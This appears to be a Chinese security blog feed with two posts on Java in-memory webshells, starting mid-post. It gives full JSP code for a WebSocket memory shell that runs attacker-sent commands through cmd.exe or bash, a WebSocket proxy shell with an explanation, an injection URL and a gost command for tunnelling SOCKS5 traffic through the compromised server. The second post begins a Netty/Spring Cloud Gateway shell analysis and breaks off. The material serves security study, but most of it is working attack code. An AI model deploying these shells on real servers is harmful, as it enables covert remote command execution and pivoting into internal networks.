boolean bool = System.getProperty("os.name").toLowerCase().startsWith("windows");
if (bool) {
process = Runtime.getRuntime().exec(new String[] { "cmd.exe", "/c", s });
} else {
process = Runtime.getRuntime().exec(new String[] { "/bin/bash", "-c", s });
}
InputStream inputStream = process.getInputStream();
StringBuilder stringBuilder = new StringBuilder();
int i;
while ((i = inputStream.read()) != -1)
stringBuilder.append((char)i);
inputStream.close();
process.waitFor();
session.getBasicRemote().sendText(stringBuilder.toString());
} catch (Exception exception) {
exception.printStackTrace();
}
}
@Override
public void onOpen(final Session session, EndpointConfig config) {
this.session = session;
session.addMessageHandler(this);
}
}
</code></pre>
<p>结果</p>
<pre><code class="language-jsp"><%@ page import="javax.websocket.server.ServerEndpointConfig" %>
<%@ page import="javax.websocket.server.ServerContainer" %>
<%@ page import="javax.websocket.*" %>
<%@ page import="java.io.*" %>
<%!
public static class C extends Endpoint implements MessageHandler.Whole<String> {
private Session session;
@Override
public void onMessage(String s) {
try {
Process process;
boolean bool = System.getProperty("os.name").toLowerCase().startsWith("windows");
if (bool) {
process = Runtime.getRuntime().exec(new String[] { "cmd.exe", "/c", s });
} else {
process = Runtime.getRuntime().exec(new String[] { "/bin/bash", "-c", s });
}
InputStream inputStream = process.getInputStream();
StringBuilder stringBuilder = new StringBuilder();
int i;
while ((i = inputStream.read()) != -1)
stringBuilder.append((char)i);
inputStream.close();
process.waitFor();
session.getBasicRemote().sendText(stringBuilder.toString());
} catch (Exception exception) {
exception.printStackTrace();
}
}
@Override
public void onOpen(final Session session, EndpointConfig config) {
this.session = session;
session.addMessageHandler(this);
}
}
%>
<%
String path = request.getParameter("path");
ServletContext servletContext = request.getSession().getServletContext();
ServerEndpointConfig configEndpoint = ServerEndpointConfig.Builder.create(C.class, path).build();
ServerContainer container = (ServerContainer) servletContext.getAttribute(ServerContainer.class.getName());
try {
if (servletContext.getAttribute(path) == null){
container.addEndpoint(configEndpoint);
servletContext.setAttribute(path,path);
}
out.println("success, connect url path: " + servletContext.getContextPath() + path);
} catch (Exception e) {
out.println(e.toString());
}
%>
</code></pre>
<p>注入:http://localhost:8080/1.jsp?path=/6right</p>
<p>ws命令执行:http://www.yunjson.com/websocket/</p>
<h3 id="代理实现">代理实现</h3>
<p>还是用veo师傅的代码分析</p>
<pre><code class="language-java"><%@ page import="javax.websocket.server.ServerEndpointConfig" %>
<%@ page import="javax.websocket.server.ServerContainer" %>
<%@ page import="javax.websocket.*" %>
<%@ page import="java.io.*" %>
<%@ page import="java.nio.channels.AsynchronousSocketChannel" %>
<%@ page import="java.util.HashMap" %>
<%@ page import="java.nio.ByteBuffer" %>
<%@ page import="java.nio.channels.CompletionHandler" %>
<%@ page import="java.net.InetSocketAddress" %>
<%@ page import="java.util.concurrent.TimeUnit" %>
<%@ page import="java.util.concurrent.Future" %>
<%!
public static class ProxyEndpoint extends Endpoint {
long i =0;
ByteArrayOutputStream baos = new ByteArrayOutputStream();
HashMap<String,AsynchronousSocketChannel> map = new HashMap<String,AsynchronousSocketChannel>();
static class Attach {
public AsynchronousSocketChannel client;
public Session channel;
}
void readFromServer(Session channel,AsynchronousSocketChannel client){
final ByteBuffer buffer = ByteBuffer.allocate(50000);
Attach attach = new Attach();
attach.client = client;
attach.channel = channel;
client.read(buffer, attach, new CompletionHandler<Integer, Attach>() {
@Override
public void completed(Integer result, final Attach scAttachment) {
buffer.clear();
try {
if(buffer.hasRemaining() && result>=0)
{
byte[] arr = new byte[result];
ByteBuffer b = buffer.get(arr,0,result);
baos.write(arr,0,result);
ByteBuffer q = ByteBuffer.wrap(baos.toByteArray());
if (scAttachment.channel.isOpen()) {
scAttachment.channel.getBasicRemote().sendBinary(q);
}
baos = new ByteArrayOutputStream();
readFromServer(scAttachment.channel,scAttachment.client);
}else{
if(result > 0)
{
byte[] arr = new byte[result];
ByteBuffer b = buffer.get(arr,0,result);
baos.write(arr,0,result);
readFromServer(scAttachment.channel,scAttachment.client);
}
}
} catch (Exception ignored) {}
}
@Override
public void failed(Throwable t, Attach scAttachment) {t.printStackTrace();}
});
}
void process(ByteBuffer z,Session channel)
{
try{
if(i>1)
{
AsynchronousSocketChannel client = map.get(channel.getId());
client.write(z).get();
z.flip();
z.clear();
}
else if(i==1)
{
String values = new String(z.array());
String[] array = values.split(" ");
String[] addrarray = array[1].split(":");
AsynchronousSocketChannel client = AsynchronousSocketChannel.open();
int po = Integer.parseInt(addrarray[1]);
InetSocketAddress hostAddress = new InetSocketAddress(addrarray[0], po);
Future<Void> future = client.connect(hostAddress);
try {
future.get(10, TimeUnit.SECONDS);
} catch(Exception ignored){
channel.getBasicRemote().sendText("HTTP/1.1 503 Service Unavailable\r\n\r\n");
return;
}
map.put(channel.getId(), client);
readFromServer(channel,client);
channel.getBasicRemote().sendText("HTTP/1.1 200 Connection Established\r\n\r\n");
}
}catch(Exception ignored){
}
}
@Override
public void onOpen(final Session session, EndpointConfig config) {
i=0;
session.setMaxBinaryMessageBufferSize(1024*1024*20);
session.setMaxTextMessageBufferSize(1024*1024*20);
session.addMessageHandler(new MessageHandler.Whole<ByteBuffer>() {
@Override
public void onMessage(ByteBuffer message) {
try {
message.clear();
i++;
process(message,session);
} catch (Exception ignored) {
}
}
});
}
}
%>
<%
String path = request.getParameter("path");
ServletContext servletContext = request.getSession().getServletContext();
ServerEndpointConfig configEndpoint = ServerEndpointConfig.Builder.create(ProxyEndpoint.class, path).build();
ServerContainer container = (ServerContainer) servletContext.getAttribute(ServerContainer.class.getName());
try {
if (servletContext.getAttribute(path) == null){
container.addEndpoint(configEndpoint);
servletContext.setAttribute(path,path);
}
out.println("success, connect url path: " + servletContext.getContextPath() + path);
} catch (Exception e) {
out.println(e.toString());
}
%>
</code></pre>
<p>首先还是正常的添加Endpoint,直接看重写的onOpen</p>
<pre><code class="language-java">public void onOpen(final Session session, EndpointConfig config) {
i=0;
session.setMaxBinaryMessageBufferSize(1024*1024*20);
session.setMaxTextMessageBufferSize(1024*1024*20);
session.addMessageHandler(new MessageHandler.Whole<ByteBuffer>() {
@Override
public void onMessage(ByteBuffer message) {
try {
message.clear();
i++;
process(message,session);
} catch (Exception ignored) {
}
}
});
}
</code></pre>
<p>设置了会话的传输大小限制,然后new了一个MessageHandler.Whole<ByteBuffer>()接口(ProxyEndpoint 没有实现)</p>
<p>重写onMessage方法,接收ByteBuffer(负责承载通信过程中需要读写的消息),先清空buffer然后调用process函数</p>
<h4 id="socket通道连接服务端">Socket通道连接服务端</h4>
<pre><code class="language-java">void process(ByteBuffer z,Session channel)
{
try{
if(i>1)
{
AsynchronousSocketChannel client = map.get(channel.getId());
client.write(z).get();
z.flip();
z.clear();
}
else if(i==1)
{
String values = new String(z.array());
String[] array = values.split(" ");
String[] addrarray = array[1].split(":");
AsynchronousSocketChannel client = AsynchronousSocketChannel.open();
int po = Integer.parseInt(addrarray[1]);
InetSocketAddress hostAddress = new InetSocketAddress(addrarray[0], po);
Future<Void> future = client.connect(hostAddress);
try {
future.get(10, TimeUnit.SECONDS);
} catch(Exception ignored){
channel.getBasicRemote().sendText("HTTP/1.1 503 Service Unavailable\r\n\r\n");
return;
}
map.put(channel.getId(), client);
readFromServer(channel,client);
channel.getBasicRemote().sendText("HTTP/1.1 200 Connection Established\r\n\r\n");
}
}catch(Exception ignored){
}
}
</code></pre>
<p>如果i是1则建立Socket连接,如果>1说明连接已经建立过,直接获取通道,然后调用wirte函数向通道写入字节(然后等readFromServer异步读取即可)</p>
<p>先通过前面获取的buffer得到client hostAddress,然后通过AsynchronousSocketChannel.open()创建和打开一个实例然后再调用其connect()方法连接到服务端, Future 对象是将当前线程阻塞来等待结果</p>
<p>将session的id和对应的client管道放到map(不会重复创建),然后调用readFromServer函数</p>
<h4 id="服务端交互">服务端交互</h4>
<pre><code class="language-java">void readFromServer(Session channel,AsynchronousSocketChannel client){
final ByteBuffer buffer = ByteBuffer.allocate(50000);
Attach attach = new Attach();
attach.client = client;
attach.channel = channel;
client.read(buffer, attach, new CompletionHandler<Integer, Attach>() {
@Override
public void completed(Integer result, final Attach scAttachment) {
buffer.clear();
try {
if(buffer.hasRemaining() && result>=0)
{
byte[] arr = new byte[result];
ByteBuffer b = buffer.get(arr,0,result);
baos.write(arr,0,result);
ByteBuffer q = ByteBuffer.wrap(baos.toByteArray());
if (scAttachment.channel.isOpen()) {
scAttachment.channel.getBasicRemote().sendBinary(q);
}
baos = new ByteArrayOutputStream();
readFromServer(scAttachment.channel,scAttachment.client);
}else{
if(result > 0)
{
byte[] arr = new byte[result];
ByteBuffer b = buffer.get(arr,0,result);
baos.write(arr,0,result);
readFromServer(scAttachment.channel,scAttachment.client);
}
}
} catch (Exception ignored) {}
}
@Override
public void failed(Throwable t, Attach scAttachment) {t.printStackTrace();}
});
}
</code></pre>
<p>allocate分配缓冲区,构建一个指定接收长度的ByteBuffer用于接收数据,然后调用socketChannel.read()方法读取消息并通过CompletionHandler处理读取结果</p>
<p>CompletionHandler是消息处理回调接口,一个负责消费异步IO操作结果的消息处理器</p>
<p>此包中定义的异步通道允许指定完成处理程序以使用异步操作的结果。</p>
<ul>
<li>completed:当 I/O 操作成功完成时调用该方法(result:实际读取的字节数。如果通道中没有数据可读则result=-1)</li>
<li>failed:如果 I/O 操作失败,则调用该方法。这些方法的实现应该及时完成,以避免阻止调用线程分派到其他完成处理程序</li>
</ul>
<p>这里clear之后在调用remaining()获取未读数据</p>
<p><strong>clear()</strong> : 清空缓冲区,官方说明是“clears the buffer”,但详细解释是将 position 和 limit <strong>恢复“出厂设置”</strong>,并<strong>丢弃 mark</strong>。注意,缓冲区中的数据并非清空,只是将两个指针重置,数据处在一种**“被遗忘”状态**,如果进行 get()操作依然可以取出。同时,clear 执行之后的缓冲区无法通过 rewind() 回退指针。所以这时候调用remaining依旧能够获取缓冲区未读的数据</p>
<ul>
<li>当缓冲区存在数据且读取到字节>=0时:数据数据通过sendBinary函数发送给远程socket端点(也就是Socket-channel服务端)</li>
<li>当缓冲区没有数据,但是依旧读取字节时将数据线存入baos,然后回调readFromServer读取(异步)</li>
</ul>
<h4 id="使用">使用</h4>
<p>注入完内存马以后,使用 Gost:https://github.com/go-gost/gost 连接代理</p>
<ul>
<li>gost-windows-amd64.exe -L "socks5://:1080" -F "ws://127.0.0.1:8080?path=/proxy"</li>
</ul>
<p>然后代理连接本地1080端口socks5即可</p>
<h3 id="总结">总结</h3>
<p>WebSoket内存马通过分析涉及处理websoket的Endpoint对象,获取请求内容,同时控制响应内容。然后只要模拟对象注册到内存当中过程即可。代理的实现稍微复杂一点,注册的Endpoint对象需要实现与服务端(Endpoint远端)之间的连接与通信</p>
<h2 id="参考">参考</h2>
<ul>
<li>https://www.cnblogs.com/duanxz/p/5041110.html</li>
<li>https://gv7.me/articles/2022/the-spring-cloud-gateway-inject-memshell-through-spel-expressions/</li>
<li>https://veo.pub/2022/memshell/</li>
</ul>
]]></content>
</entry>
<entry>
<title type="html"><![CDATA[Netty内存马]]></title>
<id>https://liangyueliangyue.github.io/post/netty-nei-cun-ma/</id>
<link href="https://liangyueliangyue.github.io/post/netty-nei-cun-ma/">
</link>
<updated>2022-10-15T10:04:36.000Z</updated>
<content type="html"><![CDATA[<h2 id="netty">Netty</h2>
<p>netty的web服务没有遵循servlet规范来设计。这也导致了构造它的内存马,与常规中间件有所不同,从某种程度来讲是这是一种新类型的内存马。</p>
<h3 id="环境搭建">环境搭建</h3>
<p>这里用spring cloud gateway的web服务,详情可以看之前的文章</p>
<ul>
<li>是netty+spring构建的</li>
</ul>
<h3 id="原理学习">原理学习</h3>
<p>netty处理http请求是构建一条责任链pipline,http请求会被链上的handler会依次来处理。所以我们的内存马其实就是一个handler。</p>
<p>不像常规的中间件,<code>filter/servlet/listener</code>组件有一个统一的维护对象。</p>
<p>netty每一个请求过来,都是动态构造pipeline,pipeline上的handler都是在这个时候new的。<strong>负责给pipeline添加handler是<code>ChannelPipelineConfigurer</code>(下面简称为configurer),因此注入netty内存马的关键是分析<code>configurer</code>如何被netty管理和工作的。</strong></p>
<p>ChannelPipelineConfigurer的实现类</p>
<figure data-type="image" tabindex="1"><img src="https://6right-images.oss-cn-hangzhou.aliyuncs.com/images/202210151806760.png" alt="image-20220928163154908" loading="lazy"></figure>
<p><code>CompositeChannelPipelineConfigurer#compositeChannelPipelineConfigurer</code>是为pipeline选择configurer的关键逻辑。</p>
<pre><code class="language-java">static ChannelPipelineConfigurer compositeChannelPipelineConfigurer(ChannelPipelineConfigurer configurer, ChannelPipelineConfigurer other) {
if (configurer == ChannelPipelineConfigurer.emptyConfigurer()) { // 默认configurer是无操作空配置
return other;
} else if (other == ChannelPipelineConfigurer.emptyConfigurer()) { // 其他额外configurer是无操作空配置
return configurer;
} else {
......
ChannelPipelineConfigurer[] newConfigurers = new ChannelPipelineConfigurer[length];
int pos;
if (thizConfigurers != null) {
pos = thizConfigurers.length;
System.arraycopy(thizConfigurers, 0, newConfigurers, 0, pos);
} else {
pos = 1;
newConfigurers[0] = configurer; // 将默认configurer存储到新configurer
}
if (otherConfigurers != null) {
System.arraycopy(otherConfigurers, 0, newConfigurers, pos, otherConfigurers.length);
} else {
newConfigurers[pos] = other; // 将其他额外configurer存储到新configurer
}
// 合并成新的configurer
return new ReactorNetty.CompositeChannelPipelineConfigurer(newConfigurers);
}
}
</code></pre>
<p>第一个参数是Spring cloud gateway默认的configurer,第二个是用户额外配置的。一般情况下第一个参数是不为空配置,第二个参数为空配置,所以返回的configurer是Spring cloud gateway默认的。</p>
<p>如果我们能够设置第二个other参数不为空配置呢? 那么这两个configurer将被合并为一个新<code>CompositeChannelPipelineConfigurer</code>。</p>
<p><code>CompositeChannelPipelineConfigurer</code>会循环调用所有合并进来<code>configurer</code>来对<code>pipeline</code>添加<code>handler</code>。</p>
<pre><code class="language-java">//初始化时调用
public void onChannelInit(ConnectionObserver connectionObserver, Channel channel, @Nullable SocketAddress remoteAddress) {
ChannelPipelineConfigurer[] var4 = this.configurers;
int var5 = var4.length;
for(int var6 = 0; var6 < var5; ++var6) {
ChannelPipelineConfigurer configurer = var4[var6];
configurer.onChannelInit(connectionObserver, channel, remoteAddress);
}
}
</code></pre>
<p>因此我们可以通过修改other参数为自己的configurer向pipline中添加内存马。翻阅源码发现<code>reactor.netty.transport.TransportConfig</code>类的<code>doOnChannelInit</code>属性存储着other参数,我使用<a href="https://github.com/c0ny1/java-object-searcher">java-object-searcher</a>以<code>doOnChannelInit</code>为关键字,定位出了它在线程对象的位置。</p>
<pre><code class="language-java">List<Keyword> keys = new ArrayList<>();
keys.add(new Keyword.Builder().setField_type("doOnChannelInit").build());
SearchRequstByBFS searcher = new SearchRequstByBFS(Thread.currentThread(),keys);
searcher.setIs_debug(true);
searcher.setMax_search_depth(20);
searcher.setReport_save_path("D:\\");